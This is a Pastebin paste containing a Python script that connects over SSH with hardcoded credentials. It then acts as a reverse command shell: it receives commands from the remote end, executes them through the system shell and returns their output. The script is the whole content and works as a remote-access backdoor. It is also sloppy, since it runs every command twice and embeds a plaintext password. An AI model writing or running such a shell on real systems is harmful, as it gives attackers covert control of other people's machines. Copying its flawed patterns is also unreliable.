Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import threading, paramiko, subprocess
- def ssh_command(ip, port, user, passwd, command):
- client = paramiko.SSHClient()
- client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
- client.connect(ip, port, username=user, password=passwd)
- ssh_session = client.get_transport().open_session()
- if ssh_session.active and not ssh_session.closed:
- ssh_session.send(command.encode('utf-8'))
- print(ssh_session.recv(4096).decode('utf-8'))
- while True:
- try:
- command = ssh_session.recv(4096).decode('utf-8')
- print(command)
- subprocess.call(command, shell=True)
- command_output = subprocess.run(
- command, stdout=subprocess.PIPE,
- stderr=subprocess.PIPE,
- shell=True,
- timeout=30
- )
- #send back the resulting output
- if len(command_output.stderr.decode('utf-8')):
- ssh_session.send(command_output.stderr.decode('utf-8'))
- elif len(command_output.stdout.decode('utf-8')):
- ssh_session.send(command_output.stdout.decode('utf-8'))
- else:
- ssh_session.send('null')
- except subprocess.CalledProcessError as err:
- ssh_session.send(str(err))
- ssh_session.close()
- return
- ssh_command('127.0.0.1', 22, 'harman', '5007', 'ClientConnected')
Add Comment
Please, Sign In to add comment